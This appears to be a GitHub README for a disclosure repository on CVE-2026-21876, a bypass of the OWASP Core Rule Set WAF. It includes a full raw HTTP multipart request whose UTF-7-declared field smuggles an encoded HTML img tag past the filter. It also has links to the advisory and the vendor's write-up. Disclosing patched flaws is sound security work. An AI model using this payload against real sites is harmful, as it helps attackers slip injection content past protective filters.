# CVE-2026-21876 (OWASP CRS WAF bypass)
CVE-2026-21876 docker container + minimal PoC.
I would like to thank [@airween](https://github.com/airween) and [@fzipi](https://github.com/fzipi) separately for their quick response! The vulnerability fix was ready in a very short time.
# PoC
```
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
```
The `username` value is not checked for characters that are not included in the whitelist, which leads to WAF bypass.
# Bypass demo
# The same payload is blocked here
# References
- [Github security advisory](https://github.com/coreruleset/coreruleset/security/advisories/GHSA-36fv-25j3-r2c5)
- [OWASP CRS walkthrough blogpost](https://coreruleset.org/20260106/cve-2026-21876-critical-multipart-charset-bypass-fixed-in-crs-4.22.0-and-3.3.8/)